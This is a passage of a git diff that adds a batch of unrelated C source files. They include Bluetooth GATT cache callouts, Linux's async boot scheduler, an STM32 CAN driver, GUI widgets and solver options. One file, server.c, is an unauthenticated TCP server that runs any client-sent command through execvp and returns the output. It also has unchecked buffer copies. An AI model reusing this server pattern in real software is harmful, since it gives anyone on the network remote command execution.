+** +** Parameter server_bda: server bd address of this cache belongs to +** evt: call in event to be passed in when cache open is done. +** conn_id: connection ID of this cache operation attach to. +** to_save: open cache to save or to load. +** +** Returns void. +** +*******************************************************************************/ +void bta_gattc_co_cache_open(BD_ADDR server_bda, UINT16 evt, UINT16 conn_id, BOOLEAN to_save) +{ +#ifdef BT_SUPPORT_NVM + /* open NV cache and send call in */ + tBTA_GATT_STATUS status = BTA_GATT_OK; + if (!btm_sec_is_a_bonded_dev(server_bda) || !cacheOpen(server_bda, to_save)) { + status = BTA_GATT_ERROR; + } + + BTIF_TRACE_DEBUG("%s() - status=%d", __FUNCTION__, status); + bta_gattc_ci_cache_open(server_bda, evt, status, conn_id); +#else + bta_gattc_ci_cache_open(server_bda, evt, BTA_GATT_ERROR, conn_id); +#endif /* BT_SUPPORT_NVM */ +} + +/******************************************************************************* +** +** Function bta_gattc_co_cache_load +** +** Description This callout function is executed by GATT when server cache +** is required to load. +** +** Parameter server_bda: server bd address of this cache belongs to +** evt: call in event to be passed in when cache save is done. +** num_attr: number of attribute to be save. +** attr_index: starting attribute index of the save operation. +** conn_id: connection ID of this cache operation attach to. +** Returns +** +*******************************************************************************/ +void bta_gattc_co_cache_load(BD_ADDR server_bda, UINT16 evt, UINT16 start_index, UINT16 conn_id) +{ + UINT16 num_attr = 0; + tBTA_GATTC_NV_ATTR attr[BTA_GATTC_NV_LOAD_MAX]; + tBTA_GATT_STATUS status = BTA_GATT_ERROR; +#ifdef BT_SUPPORT_NVM + if (sCacheFD && (0 == fseek(sCacheFD, start_index * sizeof(tBTA_GATTC_NV_ATTR), SEEK_SET))) { + num_attr = fread(attr, sizeof(tBTA_GATTC_NV_ATTR), BTA_GATTC_NV_LOAD_MAX, sCacheFD); + status = (num_attr < BTA_GATTC_NV_LOAD_MAX ? BTA_GATT_OK : BTA_GATT_MORE); + } + BTIF_TRACE_DEBUG("%s() - sCacheFD=%p, start_index=%d, read=%d, status=%d", + __FUNCTION__, sCacheFD, start_index, num_attr, status); +#endif /* BT_SUPPORT_NVM */ + + bta_gattc_ci_cache_load(server_bda, evt, num_attr, attr, status, conn_id); +} + +/******************************************************************************* +** +** Function bta_gattc_co_cache_save +** +** Description This callout function is executed by GATT when a server cache +** is available to save. +** +** Parameter server_bda: server bd address of this cache belongs to +** evt: call in event to be passed in when cache save is done. +** num_attr: number of attribute to be save. +** p_attr: pointer to the list of attributes to save. +** attr_index: starting attribute index of the save operation. +** conn_id: connection ID of this cache operation attach to. +** Returns +** +*******************************************************************************/ +void bta_gattc_co_cache_save (BD_ADDR server_bda, UINT16 evt, UINT16 num_attr, + tBTA_GATTC_NV_ATTR *p_attr_list, UINT16 attr_index, UINT16 conn_id) +{ + tBTA_GATT_STATUS status = BTA_GATT_OK; + UNUSED(attr_index); +#ifdef BT_SUPPORT_NVM + if (sCacheFD != 0) { + int num = fwrite(p_attr_list, sizeof(tBTA_GATTC_NV_ATTR), num_attr, sCacheFD); + BTIF_TRACE_DEBUG("%s() wrote %d", __FUNCTION__, num); + } +#endif /* BT_SUPPORT_NVM */ + bta_gattc_ci_cache_save(server_bda, evt, status, conn_id); +} + +/******************************************************************************* +** +** Function bta_gattc_co_cache_close +** +** Description This callout function is executed by GATTC when a GATT server +** cache is written completely. +** +** Parameter server_bda: server bd address of this cache belongs to +** conn_id: connection ID of this cache operation attach to. +** +** Returns void. +** +*******************************************************************************/ +void bta_gattc_co_cache_close(BD_ADDR server_bda, UINT16 conn_id) +{ + UNUSED(server_bda); + UNUSED(conn_id); +#ifdef BT_SUPPORT_NVM + cacheClose(); +#endif /* BT_SUPPORT_NVM */ + /* close NV when server cache is done saving or loading, + does not need to do anything for now on Insight */ + + BTIF_TRACE_DEBUG("%s()", __FUNCTION__); +} + +/******************************************************************************* +** +** Function bta_gattc_co_cache_reset +** +** Description This callout function is executed by GATTC to reset cache in +** application +** +** Parameter server_bda: server bd address of this cache belongs to +** +** Returns void. +** +*******************************************************************************/ +void bta_gattc_co_cache_reset(BD_ADDR server_bda) +{ + BTIF_TRACE_DEBUG("%s()", __FUNCTION__); +#ifdef BT_SUPPORT_NVM + cacheReset(server_bda); +#endif /* BT_SUPPORT_NVM */ +} + +#endif /* #if( defined BLE_INCLUDED ) && (BLE_INCLUDED == TRUE) */ +#endif /* #if( defined BTA_GATT_INCLUDED ) && (BTA_GATT_INCLUDED == TRUE) */ + diff --git a/pool/shard011/C/0142394_async.c b/pool/shard011/C/0142394_async.c new file mode 100644 index 0000000000000000000000000000000000000000..596c5e780ace83d9f0834bc16972680890eb183b --- /dev/null +++ b/pool/shard011/C/0142394_async.c @@ -0,0 +1,355 @@ +/* + * async.c: Asynchronous function calls for boot performance + * + * (C) Copyright 2009 Intel Corporation + * Author: Arjan van de Ven + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; version 2 + * of the License. + */ + + +/* + +Goals and Theory of Operation + +The primary goal of this feature is to reduce the kernel boot time, +by doing various independent hardware delays and discovery operations +decoupled and not strictly serialized. + +More specifically, the asynchronous function call concept allows +certain operations (primarily during system boot) to happen +asynchronously, out of order, while these operations still +have their externally visible parts happen sequentially and in-order. +(not unlike how out-of-order CPUs retire their instructions in order) + +Key to the asynchronous function call implementation is the concept of +a "sequence cookie" (which, although it has an abstracted type, can be +thought of as a monotonically incrementing number). + +The async core will assign each scheduled event such a sequence cookie and +pass this to the called functions. + +The asynchronously called function should before doing a globally visible +operation, such as registering device numbers, call the +async_synchronize_cookie() function and pass in its own cookie. The +async_synchronize_cookie() function will make sure that all asynchronous +operations that were scheduled prior to the operation corresponding with the +cookie have completed. + +Subsystem/driver initialization code that scheduled asynchronous probe +functions, but which shares global resources with other drivers/subsystems +that do not use the asynchronous call feature, need to do a full +synchronization with the async_synchronize_full() function, before returning +from their init function. This is to maintain strict ordering between the +asynchronous and synchronous parts of the kernel. + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static async_cookie_t next_cookie = 1; + +#define MAX_WORK 32768 + +static LIST_HEAD(async_pending); +static ASYNC_DOMAIN(async_running); +static LIST_HEAD(async_domains); +static DEFINE_SPINLOCK(async_lock); +static DEFINE_MUTEX(async_register_mutex); + +struct async_entry { + struct list_head list; + struct work_struct work; + async_cookie_t cookie; + async_func_ptr *func; + void *data; + struct async_domain *running; +}; + +static DECLARE_WAIT_QUEUE_HEAD(async_done); + +static atomic_t entry_count; + + +/* + * MUST be called with the lock held! + */ +static async_cookie_t __lowest_in_progress(struct async_domain *running) +{ + async_cookie_t first_running = next_cookie; /* infinity value */ + async_cookie_t first_pending = next_cookie; /* ditto */ + struct async_entry *entry; + + /* + * Both running and pending lists are sorted but not disjoint. + * Take the first cookies from both and return the min. + */ + if (!list_empty(&running->domain)) { + entry = list_first_entry(&running->domain, typeof(*entry), list); + first_running = entry->cookie; + } + + list_for_each_entry(entry, &async_pending, list) { + if (entry->running == running) { + first_pending = entry->cookie; + break; + } + } + + return min(first_running, first_pending); +} + +static async_cookie_t lowest_in_progress(struct async_domain *running) +{ + unsigned long flags; + async_cookie_t ret; + + spin_lock_irqsave(&async_lock, flags); + ret = __lowest_in_progress(running); + spin_unlock_irqrestore(&async_lock, flags); + return ret; +} + +/* + * pick the first pending entry and run it + */ +static void async_run_entry_fn(struct work_struct *work) +{ + struct async_entry *entry = + container_of(work, struct async_entry, work); + struct async_entry *pos; + unsigned long flags; + ktime_t uninitialized_var(calltime), delta, rettime; + struct async_domain *running = entry->running; + + /* 1) move self to the running queue, make sure it stays sorted */ + spin_lock_irqsave(&async_lock, flags); + list_for_each_entry_reverse(pos, &running->domain, list) + if (entry->cookie > pos->cookie) + break; + list_move(&entry->list, &pos->list); + spin_unlock_irqrestore(&async_lock, flags); + + /* 2) run (and print duration) */ + if (initcall_debug && system_state == SYSTEM_BOOTING) { + printk(KERN_DEBUG "calling %lli_%pF @ %i\n", + (long long)entry->cookie, + entry->func, task_pid_nr(current)); + calltime = ktime_get(); + } + entry->func(entry->data, entry->cookie); + if (initcall_debug && system_state == SYSTEM_BOOTING) { + rettime = ktime_get(); + delta = ktime_sub(rettime, calltime); + printk(KERN_DEBUG "initcall %lli_%pF returned 0 after %lld usecs\n", + (long long)entry->cookie, + entry->func, + (long long)ktime_to_ns(delta) >> 10); + } + + /* 3) remove self from the running queue */ + spin_lock_irqsave(&async_lock, flags); + list_del(&entry->list); + if (running->registered && --running->count == 0) + list_del_init(&running->node); + + /* 4) free the entry */ + kfree(entry); + atomic_dec(&entry_count); + + spin_unlock_irqrestore(&async_lock, flags); + + /* 5) wake up any waiters */ + wake_up(&async_done); +} + +static async_cookie_t __async_schedule(async_func_ptr *ptr, void *data, struct async_domain *running) +{ + struct async_entry *entry; + unsigned long flags; + async_cookie_t newcookie; + + /* allow irq-off callers */ + entry = kzalloc(sizeof(struct async_entry), GFP_ATOMIC); + + /* + * If we're out of memory or if there's too much work + * pending already, we execute synchronously. + */ + if (!entry || atomic_read(&entry_count) > MAX_WORK) { + kfree(entry); + spin_lock_irqsave(&async_lock, flags); + newcookie = next_cookie++; + spin_unlock_irqrestore(&async_lock, flags); + + /* low on memory.. run synchronously */ + ptr(data, newcookie); + return newcookie; + } + INIT_WORK(&entry->work, async_run_entry_fn); + entry->func = ptr; + entry->data = data; + entry->running = running; + + spin_lock_irqsave(&async_lock, flags); + newcookie = entry->cookie = next_cookie++; + list_add_tail(&entry->list, &async_pending); + if (running->registered && running->count++ == 0) + list_add_tail(&running->node, &async_domains); + atomic_inc(&entry_count); + spin_unlock_irqrestore(&async_lock, flags); + + /* mark that this task has queued an async job, used by module init */ + current->flags |= PF_USED_ASYNC; + + /* schedule for execution */ + queue_work(system_unbound_wq, &entry->work); + + return newcookie; +} + +/** + * async_schedule - schedule a function for asynchronous execution + * @ptr: function to execute asynchronously + * @data: data pointer to pass to the function + * + * Returns an async_cookie_t that may be used for checkpointing later. + * Note: This function may be called from atomic or non-atomic contexts. + */ +async_cookie_t async_schedule(async_func_ptr *ptr, void *data) +{ + return __async_schedule(ptr, data, &async_running); +} +EXPORT_SYMBOL_GPL(async_schedule); + +/** + * async_schedule_domain - schedule a function for asynchronous execution within a certain domain + * @ptr: function to execute asynchronously + * @data: data pointer to pass to the function + * @running: running list for the domain + * + * Returns an async_cookie_t that may be used for checkpointing later. + * @running may be used in the async_synchronize_*_domain() functions + * to wait within a certain synchronization domain rather than globally. + * A synchronization domain is specified via the running queue @running to use. + * Note: This function may be called from atomic or non-atomic contexts. + */ +async_cookie_t async_schedule_domain(async_func_ptr *ptr, void *data, + struct async_domain *running) +{ + return __async_schedule(ptr, data, running); +} +EXPORT_SYMBOL_GPL(async_schedule_domain); + +/** + * async_synchronize_full - synchronize all asynchronous function calls + * + * This function waits until all asynchronous function calls have been done. + */ +void async_synchronize_full(void) +{ + mutex_lock(&async_register_mutex); + do { + struct async_domain *domain = NULL; + + spin_lock_irq(&async_lock); + if (!list_empty(&async_domains)) + domain = list_first_entry(&async_domains, typeof(*domain), node); + spin_unlock_irq(&async_lock); + + async_synchronize_cookie_domain(next_cookie, domain); + } while (!list_empty(&async_domains)); + mutex_unlock(&async_register_mutex); +} +EXPORT_SYMBOL_GPL(async_synchronize_full); + +/** + * async_unregister_domain - ensure no more anonymous waiters on this domain + * @domain: idle domain to flush out of any async_synchronize_full instances + * + * async_synchronize_{cookie|full}_domain() are not flushed since callers + * of these routines should know the lifetime of @domain + * + * Prefer ASYNC_DOMAIN_EXCLUSIVE() declarations over flushing + */ +void async_unregister_domain(struct async_domain *domain) +{ + mutex_lock(&async_register_mutex); + spin_lock_irq(&async_lock); + WARN_ON(!domain->registered || !list_empty(&domain->node) || + !list_empty(&domain->domain)); + domain->registered = 0; + spin_unlock_irq(&async_lock); + mutex_unlock(&async_register_mutex); +} +EXPORT_SYMBOL_GPL(async_unregister_domain); + +/** + * async_synchronize_full_domain - synchronize all asynchronous function within a certain domain + * @domain: running list to synchronize on + * + * This function waits until all asynchronous function calls for the + * synchronization domain specified by the running list @domain have been done. + */ +void async_synchronize_full_domain(struct async_domain *domain) +{ + async_synchronize_cookie_domain(next_cookie, domain); +} +EXPORT_SYMBOL_GPL(async_synchronize_full_domain); + +/** + * async_synchronize_cookie_domain - synchronize asynchronous function calls within a certain domain with cookie checkpointing + * @cookie: async_cookie_t to use as checkpoint + * @running: running list to synchronize on + * + * This function waits until all asynchronous function calls for the + * synchronization domain specified by running list @running submitted + * prior to @cookie have been done. + */ +void async_synchronize_cookie_domain(async_cookie_t cookie, struct async_domain *running) +{ + ktime_t uninitialized_var(starttime), delta, endtime; + + if (!running) + return; + + if (initcall_debug && system_state == SYSTEM_BOOTING) { + printk(KERN_DEBUG "async_waiting @ %i\n", task_pid_nr(current)); + starttime = ktime_get(); + } + + wait_event(async_done, lowest_in_progress(running) >= cookie); + + if (initcall_debug && system_state == SYSTEM_BOOTING) { + endtime = ktime_get(); + delta = ktime_sub(endtime, starttime); + + printk(KERN_DEBUG "async_continuing @ %i after %lli usec\n", + task_pid_nr(current), + (long long)ktime_to_ns(delta) >> 10); + } +} +EXPORT_SYMBOL_GPL(async_synchronize_cookie_domain); + +/** + * async_synchronize_cookie - synchronize asynchronous function calls with cookie checkpointing + * @cookie: async_cookie_t to use as checkpoint + * + * This function waits until all asynchronous function calls prior to @cookie + * have been done. + */ +void async_synchronize_cookie(async_cookie_t cookie) +{ + async_synchronize_cookie_domain(cookie, &async_running); +} +EXPORT_SYMBOL_GPL(async_synchronize_cookie); diff --git a/pool/shard011/C/0142395_test_friends.c b/pool/shard011/C/0142395_test_friends.c new file mode 100644 index 0000000000000000000000000000000000000000..d1692e8da5bacb60edec518e0487096dd10afda3 --- /dev/null +++ b/pool/shard011/C/0142395_test_friends.c @@ -0,0 +1,41 @@ +#include +#include +#include +#include + +#include "gnome-app-store.h" +#include "gnome-app-friends.h" + +int +main (int argc, char *argv[]) +{ + ClutterActor *stage; + + g_type_init (); + g_thread_init (NULL); + if (clutter_init (&argc, &argv) != CLUTTER_INIT_SUCCESS) + return 1; + clutter_threads_init (); + GMainLoop *loop; + loop = g_main_loop_new (NULL, FALSE); + + stage = clutter_stage_new (); + clutter_stage_set_title (CLUTTER_STAGE (stage), "friends test"); + clutter_actor_set_size (stage, 400, 600); + clutter_actor_show_all (stage); + + ClutterActor *friends; + GnomeAppStore *store; + + store = gnome_app_store_get_default (); + gnome_app_store_set_lock_function (store, clutter_threads_enter); + gnome_app_store_set_unlock_function (store, clutter_threads_leave); + + friends = CLUTTER_ACTOR (gnome_app_friends_new (NULL)); + clutter_container_add (CLUTTER_CONTAINER (stage), friends, NULL); + + g_main_loop_run (loop); + g_main_loop_unref (loop); + + return EXIT_SUCCESS; +} diff --git a/pool/shard011/C/0142396_bxcan_base.c b/pool/shard011/C/0142396_bxcan_base.c new file mode 100644 index 0000000000000000000000000000000000000000..e59cbcebbf3aba3115a4283893021a2807fd9c1c --- /dev/null +++ b/pool/shard011/C/0142396_bxcan_base.c @@ -0,0 +1,144 @@ +/* + * bxcan_base.c + * Copyright (C) 2020 xent + * Project is distributed under the terms of the MIT License + */ + +#include +#include +#include +#include +#include +/*----------------------------------------------------------------------------*/ +static void configPins(const struct BxCanBase *, + const struct BxCanBaseConfig *); +static bool setInstance(uint8_t, struct BxCanBase *); +/*----------------------------------------------------------------------------*/ +static enum Result canInit(void *, const void *); + +#ifndef CONFIG_PLATFORM_STM32_BXCAN_NO_DEINIT +static void canDeinit(void *); +#else +#define canDeinit deletedDestructorTrap +#endif +/*----------------------------------------------------------------------------*/ +const struct EntityClass * const BxCanBase = &(const struct EntityClass){ + .size = 0, /* Abstract class */ + .init = canInit, + .deinit = canDeinit +}; +/*----------------------------------------------------------------------------*/ +static const struct PinEntry bxCanPins[] = { + { + .key = PIN(PORT_A, 11), /* CAN_RX */ + .channel = 0, + .value = 4 + }, { + .key = PIN(PORT_A, 12), /* CAN_TX */ + .channel = 0, + .value = 4 + }, { + .key = PIN(PORT_B, 8), /* CAN_RX */ + .channel = 0, + .value = 4 + }, { + .key = PIN(PORT_B, 9), /* CAN_TX */ + .channel = 0, + .value = 4 + }, { + .key = PIN(PORT_D, 0), /* CAN_RX */ + .channel = 0, + .value = 0 + }, { + .key = PIN(PORT_D, 1), /* CAN_TX */ + .channel = 0, + .value = 0 + }, { + .key = 0 /* End of pin function association list */ + } +}; +/*----------------------------------------------------------------------------*/ +static struct BxCanBase *instances[2] = {0}; +/*----------------------------------------------------------------------------*/ +static void configPins(const struct BxCanBase *interface, + const struct BxCanBaseConfig *config) +{ + const struct PinEntry *pinEntry; + struct Pin pin; + + pinEntry = pinFind(bxCanPins, config->rx, interface->channel); + assert(pinEntry); + + pin = pinInit(config->rx); + pinInput(pin); + pinSetFunction(pin, pinEntry->value); + + pinEntry = pinFind(bxCanPins, config->tx, interface->channel); + assert(pinEntry); + + pin = pinInit(config->tx); + pinOutput(pin, true); + pinSetFunction(pin, pinEntry->value); +} +/*----------------------------------------------------------------------------*/ +static bool setInstance(uint8_t channel, struct BxCanBase *object) +{ + assert(channel < ARRAY_SIZE(instances)); + + if (!instances[channel]) + { + instances[channel] = object; + return true; + } + else + return false; +} +/*----------------------------------------------------------------------------*/ +void CAN_ISR(void) +{ + /* Joint interrupt */ + if (instances[0]) + instances[0]->handler(instances[0]); +} +/*----------------------------------------------------------------------------*/ +uint32_t canGetClock(const struct BxCanBase *interface __attribute__((unused))) +{ + return clockFrequency(ApbClock); +} +/*----------------------------------------------------------------------------*/ +static enum Result canInit(void *object, const void *configBase) +{ + const struct BxCanBaseConfig * const config = configBase; + struct BxCanBase * const interface = object; + + interface->channel = config->channel; + interface->handler = 0; + + if (!setInstance(interface->channel, interface)) + return E_BUSY; + + /* Enable alternate functions on RX and TX pins */ + configPins(interface, config); + + sysClockEnable(CLK_CAN); + sysResetEnable(RST_CAN); + sysResetDisable(RST_CAN); + + interface->irq.rx0 = CEC_CAN_IRQ; + interface->irq.rx1 = CEC_CAN_IRQ; + interface->irq.sce = CEC_CAN_IRQ; + interface->irq.tx = CEC_CAN_IRQ; + interface->reg = STM_CAN; + + return E_OK; +} +/*----------------------------------------------------------------------------*/ +#ifndef CONFIG_PLATFORM_STM32_BXCAN_NO_DEINIT +static void canDeinit(void *object) +{ + const struct BxCanBase * const interface = object; + + sysClockDisable(CLK_CAN); + instances[interface->channel] = 0; +} +#endif diff --git a/pool/shard011/C/0142397_PROGBAR_SetFont.c b/pool/shard011/C/0142397_PROGBAR_SetFont.c new file mode 100644 index 0000000000000000000000000000000000000000..7c9efc1580921ea375dd87f63770959f41d12735 --- /dev/null +++ b/pool/shard011/C/0142397_PROGBAR_SetFont.c @@ -0,0 +1,49 @@ +/* +********************************************************************************************************* +* uC/GUI V3.98 +* Universal graphic software for embedded applications +* +* (c) Copyright 2002, Micrium Inc., Weston, FL +* (c) Copyright 2002, SEGGER Microcontroller Systeme GmbH +* +* µC/GUI is protected by international copyright laws. Knowledge of the +* source code may not be used to write a similar product. This file may +* only be used in accordance with a license and should not be redistributed +* in any way. We appreciate your understanding and fairness. +* +---------------------------------------------------------------------- +File : PROGBAR_SetFont.c +Purpose : Implementation of progbar widget +---------------------------END-OF-HEADER------------------------------ +*/ + +#include "PROGBAR_Private.h" + +#if GUI_WINSUPPORT + +/********************************************************************* +* +* Exported routines +* +********************************************************************** +*/ +/********************************************************************* +* +* PROGBAR_SetFont +*/ +void PROGBAR_SetFont(PROGBAR_Handle hObj, const GUI_FONT GUI_UNI_PTR * pfont) { + PROGBAR_Obj* pObj; + if (hObj) { + WM_LOCK(); + pObj = PROGBAR_H2P(hObj); + pObj->Props.pFont = pfont; + WM_InvalidateWindow(hObj); + WM_UNLOCK(); + } +} + +#else /* avoid empty object files */ + void PROGBAR_SetFont_C(void); + void PROGBAR_SetFont_C(void) {} +#endif + diff --git a/pool/shard011/C/0142398_alias.c b/pool/shard011/C/0142398_alias.c new file mode 100644 index 0000000000000000000000000000000000000000..558c76352926724ac4efee2fc0c2df03c9a43bea --- /dev/null +++ b/pool/shard011/C/0142398_alias.c @@ -0,0 +1,90 @@ +/* + * alias.c -- Alias service for aliasing URLs to file storage. + * + * This module supports the alias directives and mapping URLs to physical locations. + * + * Copyright (c) All Rights Reserved. See copyright notice at the bottom of the file. + */ + +/********************************* Includes ***********************************/ + +#include "http.h" + +/*********************************** Code *************************************/ +/* + * Create an alias for a URI prefix. During processing, a request URI prefix is substituted to the target which + * may be either a physical path or a URI if a non-zero redirect code is supplied. + */ + +MaAlias *maCreateAlias(MprCtx ctx, cchar *prefix, cchar *target, int code) +{ + MaAlias *ap; + int len; + + mprAssert(ctx); + mprAssert(prefix); + mprAssert(target && *target); + + ap = mprAllocObjZeroed(ctx, MaAlias); + if (ap == 0) { + return 0; + } + + ap->prefix = mprStrdup(ctx, prefix); + ap->prefixLen = (int) strlen(prefix); + + /* + * Always strip trailing "/" + */ + if (ap->prefixLen > 0 && ap->prefix[ap->prefixLen - 1] == '/') { + ap->prefix[--ap->prefixLen] = '\0'; + } + + if (code) { + ap->redirectCode = code; + ap->uri = mprStrdup(ctx, target); + + } else { + /* + * Trim trailing "/" from filename always + */ + ap->filename = mprStrdup(ctx, target); + len = strlen(ap->filename) - 1; + if (len >= 0 && ap->filename[len] == '/') { + ap->filename[len] = '\0'; + } + } + + return ap; +} + + +/* + * @copy default + * + * Copyright (c) Embedthis Software LLC, 2003-2009. All Rights Reserved. + * Copyright (c) Michael O'Brien, 1993-2009. All Rights Reserved. + * + * This software is distributed under commercial and open source licenses. + * You may use the GPL open source license described below or you may acquire + * a commercial license from Embedthis Software. You agree to be fully bound + * by the terms of either license. Consult the LICENSE.TXT distributed with + * this software for full details. + * + * This software is open source; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. See the GNU General Public License for more + * details at: http://www.embedthis.com/downloads/gplLicense.html + * + * This program is distributed WITHOUT ANY WARRANTY; without even the + * implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + * This GPL license does NOT permit incorporating this software into + * proprietary programs. If you are unable to comply with the GPL, you must + * acquire a commercial license to use this software. Commercial licenses + * for this software and support services are available from Embedthis + * Software at http://www.embedthis.com + * + * @end + */ diff --git a/pool/shard011/C/0142399_server.c b/pool/shard011/C/0142399_server.c new file mode 100644 index 0000000000000000000000000000000000000000..5d3c87cb352f79982859eff8983609f484817b66 --- /dev/null +++ b/pool/shard011/C/0142399_server.c @@ -0,0 +1,176 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PORT "3491" +#define BACKLOG 10 +#define MAXDATASIZE 100 +#define MAX_MSG_SIZE 1001 + +void *get_in_addr(struct sockaddr *sa) +{ + if (sa->sa_family == AF_INET) { + return &(((struct sockaddr_in*)sa)->sin_addr); + } + + return &(((struct sockaddr_in6*)sa)->sin6_addr); +} + +char** str_split(char* a_str, const char a_delim) +{ + char** result = 0; + size_t count = 0; + char* tmp = a_str; + char* last_comma = 0; + char delim[2]; + delim[0] = a_delim; + delim[1] = 0; + + /* Count how many elements will be extracted. */ + while (*tmp) + { + if (a_delim == *tmp) + { + count++; + last_comma = tmp; + } + tmp++; + } + + /* Add space for trailing token. */ + count += last_comma < (a_str + strlen(a_str) - 1); + + /* Add space for terminating null string so caller + knows where the list of returned strings ends. */ + count++; + + result = malloc(sizeof(char*) * count); + + if (result) + { + size_t idx = 0; + char* token = strtok(a_str, delim); + + while (token) + { + assert(idx < count); + *(result + idx++) = strdup(token); + token = strtok(0, delim); + } + assert(idx == count - 1); + *(result + idx) = 0; + } + + return result; +} + + +int main(void) +{ + int sockfd, new_fd; + struct addrinfo hints, *servinfo, *p; + struct sockaddr_storage their_addr; + socklen_t sin_size; + struct sigaction sa; + int yes=1; + char s[INET6_ADDRSTRLEN]; + int rv; + char buf[100]; + int numbytes; + + memset(&hints, 0, sizeof hints); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_flags = AI_PASSIVE; + + getaddrinfo(NULL, PORT, &hints, &servinfo); + + sockfd = socket(servinfo->ai_family, servinfo->ai_socktype, servinfo->ai_protocol); + + setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); + + bind(sockfd, servinfo->ai_addr, servinfo->ai_addrlen); + + freeaddrinfo(servinfo); + + listen(sockfd, BACKLOG); + + printf("server: waiting for connections...\n"); + + while(1) { + sin_size = sizeof their_addr; + new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); + + inet_ntop(their_addr.ss_family, + get_in_addr((struct sockaddr *)&their_addr), + s, sizeof s); + + printf("server: got connection from %s\n", s); + char name[100]; + char *msg = (char *) malloc (MAX_MSG_SIZE); + if (!fork()) { + close(sockfd); + send(new_fd, "hello, world!", 13, 0); + numbytes = recv(new_fd, buf, MAXDATASIZE-1, 0); + buf[numbytes] = '\0'; + printf("client %s registered\n", buf); + strcpy(name, buf); + for (;;) { + numbytes = recv(new_fd, buf, MAXDATASIZE-1, 0); + buf[numbytes] = '\0'; + printf("%s: %s\n", name, buf); + char **tokens = str_split(buf, ' '); + + + if (!fork()) { // child process + close(new_fd); + close(STDOUT_FILENO); + open("./output", O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU); + if (is_builtin(tokens)) { + check_for_builtins(tokens); + exit(0); + } else { + int i; + for (i = 0; *(tokens + i); i++); + *(tokens + i) = NULL; + execvp(tokens[0], tokens); + } + } else wait(NULL); + // printf("> "); + // fgets (msg, MAX_MSG_SIZE, stdin); + // if ((strlen(msg)>0) && (msg[strlen (msg) - 1] == '\n')) + // msg[strlen (msg) - 1] = '\0'; + + FILE *f = fopen("./output", "rb"); + fseek(f, 0, SEEK_END); + long fsize = ftell(f); + fseek(f, 0, SEEK_SET); + + char *buf2 = malloc(fsize + 1); + fread(buf2, fsize, 1, f); + fclose(f); + + buf2[fsize] = 0; + send(new_fd, buf2, strlen(buf2), 0); + free(buf2); + } + close(new_fd); + exit(0); + } + close(new_fd); + } + + return 0; +} \ No newline at end of file diff --git a/pool/shard011/C/0142400_VariationalInequality_DefaultSolverOptions.c b/pool/shard011/C/0142400_VariationalInequality_DefaultSolverOptions.c new file mode 100644 index 0000000000000000000000000000000000000000..abcd8be5fd8cae27170ae8087e5209ef2655fb41 --- /dev/null +++ b/pool/shard011/C/0142400_VariationalInequality_DefaultSolverOptions.c @@ -0,0 +1,93 @@ +/* Siconos is a program dedicated to modeling, simulation and control + * of non smooth dynamical systems. + * + * Copyright 2016 INRIA. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. +*/ +#include +#include +#include +#include +#include + +#include "NumericsOptions.h" +#include "VariationalInequality_Solvers.h" +#include "NonSmoothDrivers.h" + +int variationalInequality_setDefaultSolverOptions(SolverOptions* options, int solverId) +{ + null_SolverOptions(options); + + int info = -1; + switch (solverId) + { + case SICONOS_VI_EG: + { + info = variationalInequality_ExtraGradient_setDefaultSolverOptions(options); + break; + } + case SICONOS_VI_FPP: + { + info = variationalInequality_FixedPointProjection_setDefaultSolverOptions(options); + break; + } + case SICONOS_VI_HP: + { + info = variationalInequality_HyperplaneProjection_setDefaultSolverOptions(options); + break; + } + case SICONOS_VI_BOX_QI: + { + info = variationalInequality_common_setDefaultSolverOptions(options, solverId); + break; + } + default: + { + numericsError("variationalInequality_setDefaultSolverOptions", "Unknown Solver"); + + } + } + + return info; +} + +int variationalInequality_common_setDefaultSolverOptions(SolverOptions* options, int solverId) +{ + int i; + if (verbose > 0) + { + printf("Set the Default SolverOptions for a VI Solver\n"); + } + + options->solverId = solverId; + options->numberOfInternalSolvers = 0; + options->isSet = 1; + options->filterOn = 1; + options->iSize = 8; + options->dSize = 8; + options->iparam = (int *)malloc(options->iSize * sizeof(int)); + options->dparam = (double *)malloc(options->dSize * sizeof(double)); + null_SolverOptions(options); + for (i = 0; i < 8; i++) + { + options->iparam[i] = 0; + options->dparam[i] = 0.0; + } + options->iparam[0] = 1000; + options->dparam[0] = 1e-10; + + options->internalSolvers = NULL; + + return 0; +} diff --git a/pool/shard011/C/0142401_pcie_quirks.c b/pool/shard011/C/0142401_pcie_quirks.c new file mode 100644 index 0000000000000000000000000000000000000000..0234cf3c2974f3096c0e33845417ef0ade6d0fe1 --- /dev/null +++ b/pool/shard011/C/0142401_pcie_quirks.c @@ -0,0 +1,161 @@ +/* + * NXP Wireless LAN device driver: PCIE and platform specific quirks + * + * This software file (the "File") is distributed by NXP + * under the terms of the GNU General Public License Version 2, June 1991 + * (the "License"). You may use, redistribute and/or modify this File in + * accordance with the terms and conditions of the License, a copy of which + * is available by writing to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA or on the + * worldwide web at http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. + * + * THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE + * IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE + * ARE EXPRESSLY DISCLAIMED. The License provides additional details about + * this warranty disclaimer. + */ + +#include + +#include "pcie_quirks.h" + +/* quirk table based on DMI matching */ +static const struct dmi_system_id mwifiex_quirk_table[] = { + { + .ident = "Surface Pro 4", + .matches = { + 